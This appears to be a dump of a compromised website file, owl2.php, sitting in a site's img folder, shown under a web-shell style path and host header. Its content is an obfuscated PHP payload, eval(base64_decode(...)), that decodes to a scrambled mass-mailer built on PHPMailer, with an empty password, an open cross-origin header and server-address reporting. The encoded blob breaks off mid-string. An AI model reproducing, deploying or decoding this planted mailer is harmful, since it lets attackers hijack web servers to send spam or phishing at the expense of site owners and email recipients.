Current Path : /home/baheco/public_html/img/ |
Linux sd-1582531-l.dattaweb.com 3.10.0-1160.118.1.el7.x86_64 #1 SMP Wed Apr 24 16:01:50 UTC 2024 x86_64 |
Current File : /home/baheco/public_html/img/owl2.php |
<?php eval(base64_decode('CiBnb3RvIHJFNEdfOyBaZ0diMjogZWNobyBkYXRlKCJcMTU1XHgyZlwxNDRceDJmXHg1OVw0MFx4NjhcNzJcMTUxXHgzYVx4NzNceDIwXHg2MSIsIHRpbWUoKSk7IGdvdG8gSzJWUk87IHN3d3RrOiBoZWFkZXIoIlx4NDFceDYzXDE0M1x4NjVcMTYzXDE2M1w1NVx4NDNcMTU3XDE1NlwxNjRcMTYyXHg2ZlwxNTRceDJkXHg0MVwxNTRceDZjXDE1N1x4NzdcNTVceDRmXDE2MlwxNTFcMTQ3XHg2OVwxNTZcNzJcNDBceDJhIik7IGdvdG8gd2ZvUnI7IERRajBaOiBpbmlfc2V0KCJcMTU1XHg2NVx4NmRcMTU3XDE2Mlx4NzlcMTM3XDE1NFx4NjlcMTU1XDE1MVwxNjQiLCAtMSk7IGdvdG8gVDRfNkE7IFJxRGNROiBjbGFzcyBwaHBtYWlsZXJFeGNlcHRpb24gZXh0ZW5kcyBFeGNlcHRpb24geyBwdWJsaWMgZnVuY3Rpb24gZXJyb3JNZXNzYWdlKCkgeyAkZXJyb3JNc2cgPSAiXHgzY1x4NzNcMTY0XDE2MlwxNTdceDZlXDE0N1x4M2UiIC4gJHRoaXMtPmdldE1lc3NhZ2UoKSAuICJcNzRceDJmXHg3M1x4NzRceDcyXDE1N1x4NmVceDY3XHgzZVw3NFx4NjJcMTYyXHgyMFx4MmZcNzZcMTIiOyByZXR1cm4gJGVycm9yTXNnOyB9IH0gZ290byB4eFNfdTsgd2ZvUnI6ICRwYXNzd29yZCA9ICcnOyBnb3RvIG5FX3FzOyBndHNVbTogJHNlc3Npb25jb2RlID0gbWQ1KF9fRklMRV9fKTsgZ290byBQYmRLNzsgYnhGeEg6IGVjaG8gJG93bFsiXHg3Nlx4NjVcMTYyXHg3M1x4NjlceDZmXDE1NiJdOyBnb3RvIEdqeEJsOyBHOG45dDogZWNobyAkX1NFUlZFUlsiXHg1M1x4NDVceDUyXDEyNlx4NDVceDUyXHg1ZlwxMDFcMTA0XHg0NFx4NTIiXTsgZ290byBOaUtRcTsgaEVoNmU6IGNsYXNzIFBIUE1haWxlciB7IGNvbnN0IENIQVJTRVRfSVNPODg1OTEgPSAiXHg2OVwxNjNceDZmXDU1XHgzOFw3MFw2NVw3MVx4MmRcNjEiOyBjb25zdCBDSEFSU0VUX1VURjggPSAiXHg3NVwxNjRceDY2XHgyZFx4MzgiOyBjb25zdCBDT05URU5UX1RZUEVfUExBSU5URVhUID0gIlx4NzRceDY1XDE3MFx4NzRceDJmXDE2MFwxNTRcMTQxXHg2OVx4NmUiOyBjb25zdCBDT05URU5UX1RZUEVfVEVYVF9DQUxFTkRBUiA9ICJcMTY0XDE0NVx4NzhceDc0XDU3XHg2M1x4NjFcMTU0XHg2NVwxNTZceDY0XDE0MVwxNjIiOyBjb25zdCBDT05URU5UX1RZUEVfVEVYVF9IVE1MID0gIlwxNjRceDY1XDE3MFwxNjRcNTdceDY4XHg3NFwxNTVceDZjIjsgY29uc3QgQ09OVEVOVF9UWVBFX01VTFRJUEFSVF9BTFRFUk5BVElWRSA9ICJcMTU1XHg3NVx4NmNceDc0XHg2OVx4NzBceDYxXDE2MlwxNjRceDJmXDE0MVx4NmNceDc0XHg2NVx4NzJceDZlXDE0MVx4NzRcMTUxXHg3Nlx4NjUiOyBjb25zdCBDT05URU5UX1RZUEVfTVVMVElQQVJUX01JWEVEID0gIlx4NmRceDc1XDE1NFwxNjRcMTUxXHg3MFx4NjFcMTYyXDE2NFw1N1wxNTVceDY5XHg3OFx4NjVcMTQ0IjsgY29uc3QgQ09OVEVOVF9UWVBFX01VTFRJUEFSVF9SRUxBVEVEID0gIlx4NmRcMTY1XHg2Y1x4NzRcMTUxXHg3MFwxNDFceDcyXHg3NFx4MmZcMTYyXHg2NVwxNTRcMTQxXDE2NFx4NjVceDY0IjsgY29uc3QgRU5DT0RJTkdfN0JJVCA9ICJceDM3XDE0Mlx4NjlcMTY0IjsgY29uc3QgRU5DT0RJTkdfOEJJVCA9ICJceDM4XDE0MlwxNTFceDc0IjsgY29uc3QgRU5DT0RJTkdfQkFTRTY0ID0gIlwxNDJcMTQxXDE2M1x4NjVceDM2XHgzNCI7IGNvbnN0IEVOQ09ESU5HX0JJTkFSWSA9ICJceDYyXHg2OVwxNTZceDYxXDE2Mlx4NzkiOyBjb25zdCBFTkNPRElOR19RVU9URURfUFJJTlRBQkxFID0gIlx4NzFcMTY1XDE1N1wxNjRceDY1XHg2NFw1NVx4NzBceDcyXDE1MVwxNTZcMTY0XDE0MVx4NjJcMTU0XDE0NSI7IHB1YmxpYyAkUHJpb3JpdHk7IHB1YmxpYyAkQ2hhclNldCA9IHNlbGY6OkNIQVJTRVRfSVNPODg1OTE7IHB1YmxpYyAkQ29udGVudFR5cGUgPSBzZWxmOjpDT05URU5UX1RZUEVfUExBSU5URVhUOyBwdWJsaWMgJEVuY29kaW5nID0gc2VsZjo6RU5DT0RJTkdfOEJJVDsgcHVibGljICRFcnJvckluZm8gPSAnJzsgcHVibGljICRGcm9tID0gIlx4NzJcMTU3XDE1N1wxNjRcMTAwXHg2Y1x4NmZceDYzXDE0MVx4NmNcMTUwXDE1N1wxNjNcMTY0IjsgcHVibGljICRGcm9tTmFtZSA9ICJcMTIyXHg2ZlwxNTdcMTY0XDQwXHg1NVwxNjNcMTQ1XHg3MiI7IHB1YmxpYyAkU2VuZGVyID0gJyc7IHB1YmxpYyAkU3ViamVjdCA9ICcnOyBwdWJsaWMgJEJvZHkgPSAnJzsgcHVibGljICRBbHRCb2R5ID0gJyc7IHB1YmxpYyAkSWNhbCA9ICcnOyBwcm90ZWN0ZWQgJE1JTUVCb2R5ID0gJyc7IHByb3RlY3RlZCAkTUlNRUhlYWRlciA9ICcnOyBwcm90ZWN0ZWQgJG1haWxIZWFkZXIgPSAnJzsgcHVibGljICRXb3JkV3JhcCA9IDA7IHB1YmxpYyAkTWFpbGVyID0gIlx4NmRceDYxXHg2OVx4NmMiOyBwdWJsaWMgJFNlbmRtYWlsID0gIlw1N1wxNjVceDczXHg3Mlx4MmZcMTYzXHg2MlwxNTFcMTU2XHgyZlx4NzNceDY1XDE1NlwxNDRcMTU1XHg2MVx4NjlcMTU0IjsgcHVibGljICRVc2VTZW5kbWFpbE9wdGlvbnMgPSB0cnVlOyBwdWJsaWMgJENvbmZpcm1SZWFkaW5nVG8gPSAnJzsgcHVibGljICRIb3N0bmFtZSA9ICcnOyBwdWJsaWMgJE1lc3NhZ2VJRCA9ICcnOyBwdWJsaWMgJE1lc3NhZ2VEYXRlID0gJyc7IHB1YmxpYyAkSG9zdCA9ICJceDZjXHg2Zlx4NjNceDYxXHg2Y1x4NjhceDZmXDE2M1wxNjQiOyBwdWJsaWMgJFBvcnQgPSAyNTsgcHVibGljICRIZWxvID0gJyc7IHB1YmxpYyAkU01UUFNlY3VyZSA9ICcnOyBwdWJsaWMgJFNNVFBBdXRvVExTID0gdHJ1ZTsgcHVibGljICRTTVRQQXV0aCA9IGZhbHNlOyBwdWJsaWMgJFNNVFBPcHRpb25zID0gYXJyYXkoKTsgcHVibGljICRVc2VybmFtZSA9ICcnOyBwdWJsaWMgJFBhc3N3b3JkID0gJyc7IHB1YmxpYyAkQXV0aFR5cGUgPSAnJzsgcHJvdGVjdGVkICRvYXV0aDsgcHVibGljICRUaW1lb3V0ID0gMzAwOyBwdWJsaWMgJGRzbiA9ICcnOyBwdWJsaWMgJFNNVFBEZWJ1ZyA9IDA7IHB1YmxpYyAkRGVidWdvdXRwdXQgPSAiXDE0NVx4NjNcMTUwXDE1NyI7IHB1YmxpYyAkU01UUEtlZXBBbGl2ZSA9IGZhbHNlOyBwdWJsaWMgJFNpbmdsZVRvID0gZmFsc2U7IHByb3RlY3RlZCAkU2luZ2xlVG9BcnJheSA9IGFycmF5KCk7IHB1YmxpYyAkZG9fdmVycCA9IGZhbHNlOyBwdWJsaWMgJEFsbG93RW1wdHkgPSBmYWxzZTsgcHVibGljICRES0lNX3NlbGVjdG9yID0gJyc7IHB1YmxpYyAkREtJTV9pZGVudGl0eSA9ICcnOyBwdWJsaWMgJERLSU1fcGFzc3BocmFzZSA9ICcnOyBwdWJsaWMgJERLSU1fZG9tYWluID0gJyc7IHB1YmxpYyAkREtJTV9jb3B5SGVhZGVyRmllbGRzID0gdHJ1ZTsgcHVibGljICRES0lNX2V4dHJhSGVhZGVycyA9IGFycmF5KCk7IHB1YmxpYyAkREtJTV9wcml2YXRlID0gJyc7IHB1YmxpYyAkREtJTV9wcml2YXRlX3N0cmluZyA9ICcnOyBwdWJsaWMgJGFjdGlvbl9mdW5jdGlvbiA9ICcnOyBwdWJsaWMgJFhNYWlsZXIgPSAnJzsgcHVibGljIHN0YXRpYyAkdmFsaWRhdG9yID0gIlwxNjBcMTUwXDE2MCI7IHByb3RlY3RlZCAkc210cDsgcHJvdGVjdGVkICR0byA9IGFycmF5KCk7IHByb3RlY3RlZCAkY2MgPSBhcnJheSgpOyBwcm90ZWN0ZWQgJGJjYyA9IGFycmF5KCk7IHByb3RlY3RlZCAkUmVwbHlUbyA9IGFycmF5KCk7IHByb3RlY3RlZCAkYWxsX3JlY2lwaWVudHMgPSBhcnJheSgpOyBwcm90ZWN0ZWQgJFJlY2lwaWVudHNRdWV1ZSA9IGFycmF5KCk7IHByb3RlY3RlZCAkUmVwbHlUb1F1ZXVlID0gYXJyYXkoKTsgcHJvdGVjdGVkICRhdHRhY2htZW50ID0gYXJyYXkoKTsgcHJvdGVjdGVkICRDdXN0b21IZWFkZXIgPSBhcnJheSgpOyBwcm90ZWN0ZWQgJGxhc3RNZXNzYWdlSUQgPSAnJzsgcHJvdGVjdGVkICRtZXNzYWdlX3R5cGUgPSAnJzsgcHJvdGVjdGVkICRib3VuZGFyeSA9IGFycmF5KCk7IHByb3RlY3RlZCAkbGFuZ3VhZ2UgPSBhcnJheSgpOyBwcm90ZWN0ZWQgJGVycm9yX2NvdW50ID0gMDsgcHJvdGVjdGVkICRzaWduX2NlcnRfZmlsZSA9ICcnOyBwcm90ZWN0ZWQgJHNpZ25fa2V5X2ZpbGUgPSAnJzsgcHJvdGVjdGVkICRzaWduX2V4dHJhY2VydHNfZmlsZSA9ICcnOyBwcm90ZWN0ZWQgJHNpZ25fa2V5X3Bhc3MgPSAnJzsgcHJvdGVjdGVkICRleGNlcHRpb25zID0gZmFsc2U7IHByb3RlY3RlZCAkdW5pcXVlaWQgPSAnJzsgY29uc3QgVkVSU0lPTiA9ICJceDM2XDU2XDYwXHgyZVx4MzciOyBjb25zdCBTVE9QX01FU1NBR0UgPSAwOyBjb25zdCBTVE9QX0NPTlRJTlVFID0gMTsgY29uc3QgU1RPUF9DUklUSUNBTCA9IDI7IHByb3RlY3RlZCBzdGF0aWMgJExFID0gIlx4ZFwxMiI7IGNvbnN0IE1BWF9MSU5FX0xFTkdUSCA9IDk5ODsgY29uc3QgU1REX0xJTkVfTEVOR1RIID0gNzY7IHB1YmxpYyBmdW5jdGlvbiBfX2NvbnN0cnVjdCgkZXhjZXB0aW9ucyA9IG51bGwpIHsgaWYgKG51bGwgIT09ICRleGNlcHRpb25zKSB7ICR0aGlzLT5leGNlcHRpb25zID0gKGJvb2wpICRleGNlcHRpb25zOyB9ICR0aGlzLT5EZWJ1Z291dHB1dCA9IHN0cnBvcyhQSFBfU0FQSSwgIlwxNDNcMTU0XDE1MSIpICE9PSBmYWxzZSA/ICJceDY1XHg2M1wxNTBceDZmIiA6ICJceDY4XHg3NFx4NmRcMTU0IjsgfSBwdWJsaWMgZnVuY3Rpb24gX19kZXN0cnVjdCgpIHsgJHRoaXMtPnNtdHBDbG9zZSgpOyB9IHByaXZhdGUgZnVuY3Rpb24gbWFpbFBhc3N0aHJ1KCR0bywgJHN1YmplY3QsICRib2R5LCAkaGVhZGVyLCAkcGFyYW1zKSB7IGlmIChpbmlfZ2V0KCJcMTU1XDE0Mlx4NzNceDc0XHg3Mlx4NjlceDZlXDE0N1x4MmVcMTQ2XDE2NVwxNTZcMTQzXHg1Zlx4NmZcMTY2XHg2NVwxNjJceDZjXHg2ZlwxNDFceDY0IikgJiAxKSB7ICRzdWJqZWN0ID0gJHRoaXMtPnNlY3VyZUhlYWRlcigkc3ViamVjdCk7IH0gZWxzZSB7ICRzdWJqZWN0ID0gJHRoaXMtPmVuY29kZUhlYWRlcigkdGhpcy0+c2VjdXJlSGVhZGVyKCRzdWJqZWN0KSk7IH0gaWYgKCEkdGhpcy0+VXNlU2VuZG1haWxPcHRpb25zIG9yIG51bGwgPT09ICRwYXJhbXMpIHsgJHJlc3VsdCA9IEBtYWlsKCR0bywgJHN1YmplY3QsICRib2R5LCAkaGVhZGVyKTsgfSBlbHNlIHsgJHJlc3VsdCA9IEBtYWlsKCR0bywgJHN1YmplY3QsICRib2R5LCAkaGVhZGVyLCAkcGFyYW1zKTsgfSByZXR1cm4gJHJlc3VsdDsgfSBwcm90ZWN0ZWQgZnVuY3Rpb24gZWRlYnVnKCRzdHIpIHsgaWYgKCR0aGlzLT5TTVRQRGVidWcgPD0gMCkgeyByZXR1cm47IH0gaWYgKCR0aGlzLT5EZWJ1Z291dHB1dCBpbnN0YW5jZW9mIFxQc3JcTG9nXExvZ2dlckludGVyZmFjZSkgeyAkdGhpcy0+RGVidWdvdXRwdXQtPmRlYnVnKCRzdHIpOyByZXR1cm47IH0gaWYgKCFpbl9hcnJheSgkdGhpcy0+RGVidWdvdXRwdXQsIGFycmF5KCJceDY1XDE2Mlx4NzJceDZmXHg3MlwxMzdcMTU0XDE1N1wxNDciLCAiXHg2OFwxNjRcMTU1XDE1NCIsICJceDY1XDE0M1x4NjhceDZmIikpIGFuZCBpc19jYWxsYWJsZSgkdGhpcy0+RGVidWdvdXRwdXQpKSB7IGNhbGxfdXNlcl9mdW5jKCR0aGlzLT5EZWJ1Z291dHB1dCwgJHN0ciwgJHRoaXMtPlNNVFBEZWJ1Zyk7IHJldHVybjsgfSBzd2l0Y2ggKCR0aGlzLT5EZWJ1Z291dHB1dCkgeyBjYXNlICJceDY1XDE2Mlx4NzJceDZmXDE2MlwxMzdceDZjXDE1N1x4NjciOiBlcnJvcl9sb2coJHN0cik7IGJyZWFrOyBjYXNlICJcMTUwXDE2NFx4NmRcMTU0IjogZWNobyBodG1sZW50aXRpZXMocHJlZ19yZXBsYWNlKCJceDJmXDEzM1wxMzRceDcyXDEzNFx4NmVcMTM1XDUzXHgyZiIsICcnLCAkc3RyKSwgRU5UX1FVT1RFUywgIlwxMjVcMTI0XHg0Nlw1NVw3MCIpLCAiXHgzY1x4NjJcMTYyXDc2XDEyIjsgYnJlYWs7IGNhc2UgIlx4NjVcMTQzXDE1MFwxNTciOiBkZWZhdWx0OiAkc3RyID0gcHJlZ19yZXBsYWNlKCJceDJmXDEzNFx4NzJcMTM0XHg2ZVwxNzRcMTM0XHg3Mlx4MmZceDZkXHg3MyIsICJcMTIiLCAkc3RyKTsgZWNobyBnbWRhdGUoIlwxMzFceDJkXHg2ZFw1NVwxNDRcNDBceDQ4XHgzYVx4NjlceDNhXHg3MyIpLCAiXHg5IiwgdHJpbShzdHJfcmVwbGFjZSgiXDEyIiwgIlwxMlx4MjBceDIwXHgyMFx4MjBceDIwXHgyMFx4MjBcNDBcNDBcNDBceDIwXHgyMFx4MjBcNDBceDIwXDQwXHgyMFx4MjBceDIwXDExXHgyMFw0MFx4MjBcNDBcNDBceDIwXDQwXHgyMFw0MFx4MjBceDIwXHgyMFw0MFw0MFx4MjBceDIwXDQwXDQwIiwgdHJpbSgkc3RyKSkpLCAiXHhhIjsgfSB9IHB1YmxpYyBmdW5jdGlvbiBpc0hUTUwoJGlzSHRtbCA9IHRydWUpIHsgaWYgKCRpc0h0bWwpIHsgJHRoaXMtPkNvbnRlbnRUeXBlID0gc3RhdGljOjpDT05URU5UX1RZUEVfVEVYVF9IVE1MOyB9IGVsc2UgeyAkdGhpcy0+Q29udGVudFR5cGUgPSBzdGF0aWM6OkNPTlRFTlRfVFlQRV9QTEFJTlRFWFQ7IH0gfSBwdWJsaWMgZnVuY3Rpb24gaXNTTVRQKCkgeyAkdGhpcy0+TWFpbGVyID0gIlx4NzNcMTU1XHg3NFx4NzAiOyB9IHB1YmxpYyBmdW5jdGlvbiBpc01haWwoKSB7ICR0aGlzLT5NYWlsZXIgPSAiXDE1NVx4NjFceDY5XDE1NCI7IH0gcHVibGljIGZ1bmN0aW9uIGlzU2VuZG1haWwoKSB7ICRpbmlfc2VuZG1haWxfcGF0aCA9IGluaV9nZXQoIlx4NzNcMTQ1XDE1NlwxNDRceDZkXHg2MVx4NjlcMTU0XHg1Zlx4NzBcMTQxXHg3NFwxNTAiKTsgaWYgKGZhbHNlID09PSBzdHJpcG9zKCRpbmlfc2VuZG1haWxfcGF0aCwgIlx4NzNcMTQ1XHg2ZVwxNDRceDZkXDE0MVx4NjlceDZjIikpIHsgJHRoaXMtPlNlbmRtYWlsID0gIlw1N1wxNjVceDczXHg3Mlx4MmZceDczXHg2Mlx4NjlcMTU2XDU3XHg3M1x4NjVceDZlXDE0NFwxNTVcMTQxXHg2OVx4NmMiOyB9IGVsc2UgeyAkdGhpcy0+U2VuZG1haWwgPSAkaW5pX3NlbmRtYWlsX3BhdGg7IH0gJHRoaXMtPk1haWxlciA9ICJceDczXHg2NVwxNTZcMTQ0XDE1NVx4NjFcMTUxXHg2YyI7IH0gcHVibGljIGZ1bmN0aW9uIGlzUW1haWwoKSB7ICRpbmlfc2VuZG1haWxfcGF0aCA9IGluaV9nZXQoIlx4NzNceDY1XHg2ZVwxNDRceDZkXDE0MVx4NjlcMTU0XHg1ZlwxNjBcMTQxXDE2NFwxNTAiKTsgaWYgKGZhbHNlID09PSBzdHJpcG9zKCRpbmlfc2VuZG1haWxfcGF0aCwgIlx4NzFceDZkXDE0MVwxNTFceDZjIikpIHsgJHRoaXMtPlNlbmRtYWlsID0gIlx4MmZcMTY2XHg2MVwxNjJcNTdcMTYxXDE1NVwxNDFceDY5XDE1NFw1N1wxNDJceDY5XDE1Nlw1N1wxNjFcMTU1XHg2MVwxNTFceDZjXDU1XHg2OVwxNTZceDZhXDE0NVx4NjNceDc0IjsgfSBlbHNlIHsgJHRoaXMtPlNlbmRtYWlsID0gJGluaV9zZW5kbWFpbF9wYXRoOyB9ICR0aGlzLT5NYWlsZXIgPSAiXDE2MVx4NmRceDYxXDE1MVwxNTQiOyB9IHB1YmxpYyBmdW5jdGlvbiBhZGRBZGRyZXNzKCRhZGRyZXNzLCAkbmFtZSA9ICcnKSB7IHJldHVybiAkdGhpcy0+YWRkT3JFbnF1ZXVlQW5BZGRyZXNzKCJcMTY0XHg2ZiIsICRhZGRyZXNzLCAkbmFtZSk7IH0gcHVibGljIGZ1bmN0aW9uIGFkZENDKCRhZGRyZXNzLCAkbmFtZSA9ICcnKSB7IHJldHVybiAkdGhpcy0+YWRkT3JFbnF1ZXVlQW5BZGRyZXNzKCJceDYzXHg2MyIsICRhZGRyZXNzLCAkbmFtZSk7IH0gcHVibGljIGZ1bmN0aW9uIGFkZEJDQygkYWRkcmVzcywgJG5hbWUgPSAnJykgeyByZXR1cm4gJHRoaXMtPmFkZE9yRW5xdWV1ZUFuQWRkcmVzcygiXDE0Mlx4NjNceDYzIiwgJGFkZHJlc3MsICRuYW1lKTsgfSBwdWJsaWMgZnVuY3Rpb24gYWRkUmVwbHlUbygkYWRkcmVzcywgJG5hbWUgPSAnJykgeyByZXR1cm4gJHRoaXMtPmFkZE9yRW5xdWV1ZUFuQWRkcmVzcygiXDEyMlx4NjVcMTYwXDE1NFwxNzFcNTVceDU0XDE1NyIsICRhZGRyZXNzLCAkbmFtZSk7IH0gcHJvdGVjdGVkIGZ1bmN0aW9uIGFkZE9yRW5xdWV1ZUFuQWRkcmVzcygka2luZCwgJGFkZHJlc3MsICRuYW1lKSB7ICRhZGRyZXNzID0gdHJpbSgkYWRkcmVzcyk7ICRuYW1lID0gdHJpbShwcmVnX3JlcGxhY2UoIlw1N1wxMzNceDVjXHg3Mlx4NWNceDZlXHg1ZFx4MmJceDJmIiwgJycsICRuYW1lKSk7ICRwb3MgPSBzdHJycG9zKCRhZGRyZXNzLCAiXDEwMCIpOyBpZiAoZmFsc2UgPT09ICRwb3MpIHsgJGVycm9yX21lc3NhZ2UgPSBzcHJpbnRmKCJceDI1XHg3M1x4MjBceDI4XHgyNVx4NzNcNTFceDNhXDQwXHgyNVx4NzMiLCAkdGhpcy0+bGFuZygiXDE1MVwxNTZcMTY2XHg2MVwxNTRcMTUxXDE0NFx4NWZceDYxXDE0NFx4NjRceDcyXHg2NVwxNjNcMTYzIiksICRraW5kLCAkYWRkcmVzcyk7ICR0aGlzLT5zZXRFcnJvcigkZXJyb3JfbWVzc2FnZSk7ICR0aGlzLT5lZGVidWcoJGVycm9yX21lc3NhZ2UpOyBpZiAoJHRoaXMtPmV4Y2VwdGlvbnMpIHsgdGhyb3cgbmV3IEV4Y2VwdGlvbigkZXJyb3JfbWVzc2FnZSk7IH0gcmV0dXJuIGZhbHNlOyB9ICRwYXJhbXMgPSBhcnJheSgka2luZCwgJGFkZHJlc3MsICRuYW1lKTsgaWYgKCR0aGlzLT5oYXM4Yml0Q2hhcnMoc3Vic3RyKCRhZGRyZXNzLCArKyRwb3MpKSBhbmQgc3RhdGljOjppZG5TdXBwb3J0ZWQoKSkgeyBpZiAoIlx4NTJceDY1XDE2MFwxNTRceDc5XDU1XHg1NFwxNTciICE9ICRraW5kKSB7IGlmICghYXJyYXlfa2V5X2V4aXN0cygkYWRkcmVzcywgJHRoaXMtPlJlY2lwaWVudHNRdWV1ZSkpIHsgJHRoaXMtPlJlY2lwaWVudHNRdWV1ZVskYWRkcmVzc10gPSAkcGFyYW1zOyByZXR1cm4gdHJ1ZTsgfSB9IGVsc2UgeyBpZiAoIWFycmF5X2tleV9leGlzdHMoJGFkZHJlc3MsICR0aGlzLT5SZXBseVRvUXVldWUpKSB7ICR0aGlzLT5SZXBseVRvUXVldWVbJGFkZHJlc3NdID0gJHBhcmFtczsgcmV0dXJuIHRydWU7IH0gfSByZXR1cm4gZmFsc2U7IH0gcmV0dXJuIGNhbGxfdXNlcl9mdW5jX2FycmF5KGFycmF5KCR0aGlzLCAiXDE0MVx4NjRcMTQ0XDEwMVwxNTZcMTAxXHg2NFwxNDRcMTYyXHg2NVx4NzNcMTYzIiksICRwYXJhbXMpOyB9IHByb3RlY3RlZCBmdW5jdGlvbiBhZGRBbkFkZHJlc3MoJGtpbmQsICRhZGRyZXNzLCAkbmFtZSA9ICcnKSB7IGlmICghaW5fYXJyYXkoJGtpbmQsIGFycmF5KCJcMTY0XDE1NyIsICJcMTQzXDE0MyIsICJceDYyXHg2M1x4NjMiLCAiXHg1MlwxNDVcMTYwXHg2Y1x4NzlceDJkXDEyNFwxNTciKSkpIHsgJGVycm9yX21lc3NhZ2UgPSBzcHJpbnRmKCJceDI1XHg3M1x4M2FceDIwXHgyNVwxNjMiLCAkdGhpcy0+bGFuZygiXDExMVx4NmVcMTY2XDE0MVwxNTRcMTUxXHg2NFx4MjBceDcyXDE0NVwxNDNcMTUxXHg3MFwxNTFceDY1XDE1NlwxNjRceDIwXDE1M1x4NjlcMTU2XDE0NCIpLCAka2luZCk7ICR0aGlzLT5zZXRFcnJvcigkZXJyb3JfbWVzc2FnZSk7ICR0aGlzLT5lZGVidWcoJGVycm9yX21lc3NhZ2UpOyBpZiAoJHRoaXMtPmV4Y2VwdGlvbnMpIHsgdGhyb3cgbmV3IEV4Y2VwdGlvbigkZXJyb3JfbWVzc2FnZSk7IH0gcmV0dXJuIGZhbHNlOyB9IGlmICghc3RhdGljOjp2YWxpZGF0ZUFkZHJlc3MoJGFkZHJlc3MpKSB7ICRlcnJvcl9tZXNzYWdlID0gc3ByaW50ZigiXDQ1XHg3M1x4MjBceDI4XHgyNVx4NzNcNTFceDNhXDQwXDQ1XDE2MyIsICR0aGlzLT5sYW5nKCJcMTUxXHg2ZVx4NzZceDYxXHg2Y1x4NjlcMTQ0XHg1ZlwxNDFceDY0XDE0NFwxNjJcMTQ1XDE2M1x4NzMiKSwgJGtpbmQsICRhZGRyZXNzKTsgJHRoaXMtPnNldEVycm9yKCRlcnJvcl9tZXNzYWdlKTsgJHRoaXMtPmVkZWJ1ZygkZXJyb3JfbWVzc2FnZSk7IGlmICgkdGhpcy0+ZXhjZXB0aW9ucykgeyB0aHJvdyBuZXcgRXhjZXB0aW9uKCRlcnJvcl9tZXNzYWdlKTsgfSByZXR1cm4gZmFsc2U7IH0gaWYgKCJceDUyXDE0NVwxNjBcMTU0XHg3OVx4MmRceDU0XHg2ZiIgIT0gJGtpbmQpIHsgaWYgKCFhcnJheV9rZXlfZXhpc3RzKHN0cnRvbG93ZXIoJGFkZHJlc3MpLCAkdGhpcy0+YWxsX3JlY2lwaWVudHMpKSB7ICR0aGlzLT57JGtpbmR9W10gPSBhcnJheSgkYWRkcmVzcywgJG5hbWUpOyAkdGhpcy0+YWxsX3JlY2lwaWVudHNbc3RydG9sb3dlcigkYWRkcmVzcyldID0gdHJ1ZTsgcmV0dXJuIHRydWU7IH0gfSBlbHNlIHsgaWYgKCFhcnJheV9rZXlfZXhpc3RzKHN0cnRvbG93ZXIoJGFkZHJlc3MpLCAkdGhpcy0+UmVwbHlUbykpIHsgJHRoaXMtPlJlcGx5VG9bc3RydG9sb3dlcigkYWRkcmVzcyldID0gYXJyYXkoJGFkZHJlc3MsICRuYW1lKTsgcmV0dXJuIHRydWU7IH0gfSByZXR1cm4gZmFsc2U7IH0gcHVibGljIHN0YXRpYyBmdW5jdGlvbiBwYXJzZUFkZHJlc3NlcygkYWRkcnN0ciwgJHVzZWltYXAgPSB0cnVlKSB7ICRhZGRyZXNzZXMgPSBhcnJheSgpOyBpZiAoJHVzZWltYXAgYW5kIGZ1bmN0aW9uX2V4aXN0cygiXHg2OVwxNTVceDYxXDE2MFx4NWZcMTYyXHg2Nlx4NjNcNzBcNjJceDMyXHg1Zlx4NzBcMTQxXDE2MlwxNjNceDY1XHg1Zlx4NjFcMTQ0XDE2Mlx4NmNcMTUxXHg3M1x4NzQiKSkgeyAkbGlzdCA9IGltYXBfcmZjODIyX3BhcnNlX2Fkcmxpc3QoJGFkZHJzdHIsICcnKTsgZm9yZWFjaCAoJGxpc3QgYXMgJGFkZHJlc3MpIHsgaWYgKCJceDJlXDEyM1wxMzFcMTE2XHg1NFx4NDFceDU4XDU1XDEwNVx4NTJcMTIyXDExN1x4NTJceDJlIiAhPSAkYWRkcmVzcy0+aG9zdCkgeyBpZiAoc3RhdGljOjp2YWxpZGF0ZUFkZHJlc3MoJGFkZHJlc3MtPm1haWxib3ggLiAiXHg0MCIgLiAkYWRkcmVzcy0+aG9zdCkpIHsgJGFkZHJlc3Nlc1tdID0gYXJyYXkoIlx4NmVceDYxXDE1NVx4NjUiID0+IHByb3BlcnR5X2V4aXN0cygkYWRkcmVzcywgIlwxNjBceDY1XHg3Mlx4NzNceDZmXHg2ZVx4NjFceDZjIikgPyAkYWRkcmVzcy0+cGVyc29uYWwgOiAnJywgIlwxNDFceDY0XHg2NFwxNjJceDY1XDE2M1wxNjMiID0+ICRhZGRyZXNzLT5tYWlsYm94IC4gIlwxMDAiIC4gJGFkZHJlc3MtPmhvc3QpOyB9IH0gfSB9IGVsc2UgeyAkbGlzdCA9IGV4cGxvZGUoIlx4MmMiLCAkYWRkcnN0cik7IGZvcmVhY2ggKCRsaXN0IGFzICRhZGRyZXNzKSB7ICRhZGRyZXNzID0gdHJpbSgkYWRkcmVzcyk7IGlmIChzdHJwb3MoJGFkZHJlc3MsICJcNzQiKSA9PT0gZmFsc2UpIHsgaWYgKHN0YXRpYzo6dmFsaWRhdGVBZGRyZXNzKCRhZGRyZXNzKSkgeyAkYWRkcmVzc2VzW10gPSBhcnJheSgiXDE1NlwxNDFcMTU1XHg2NSIgPT4gJycsICJcMTQxXDE0NFx4NjRcMTYyXHg2NVx4NzNceDczIiA9PiAkYWRkcmVzcyk7IH0gfSBlbHNlIHsgbGlzdCgkbmFtZSwgJGVtYWlsKSA9IGV4cGxvZGUoIlw3NCIsICRhZGRyZXNzKTsgJGVtYWlsID0gdHJpbShzdHJfcmVwbGFjZSgiXDc2IiwgJycsICRlbWFpbCkpOyBpZiAoc3RhdGljOjp2YWxpZGF0ZUFkZHJlc3MoJGVtYWlsKSkgeyAkYWRkcmVzc2VzW10gPSBhcnJheSgiXDE1NlwxNDFceDZkXHg2NSIgPT4gdHJpbShzdHJfcmVwbGFjZShhcnJheSgiXHgyMiIsICJcNDciKSwgJycsICRuYW1lKSksICJceDYxXDE0NFx4NjRcMTYyXDE0NVx4NzNceDczIiA9PiAkZW1haWwpOyB9IH0gfSB9IHJldHVybiAkYWRkcmVzc2VzOyB9IHB1YmxpYyBmdW5jdGlvbiBzZXRGcm9tKCRhZGRyZXNzLCAkbmFtZSA9ICcnLCAkYXV0byA9IHRydWUpIHsgJGFkZHJlc3MgPSB0cmltKCRhZGRyZXNzKTsgJG5hbWUgPSB0cmltKHByZWdfcmVwbGFjZSgiXDU3XHg1YlwxMzRceDcyXHg1Y1x4NmVcMTM1XHgyYlw1NyIsICcnLCAkbmFtZSkpOyAkcG9zID0gc3RycnBvcygkYWRkcmVzcywgIlx4NDAiKTsgaWYgKGZhbHNlID09PSAkcG9zIG9yICghJHRoaXMtPmhhczhiaXRDaGFycyhzdWJz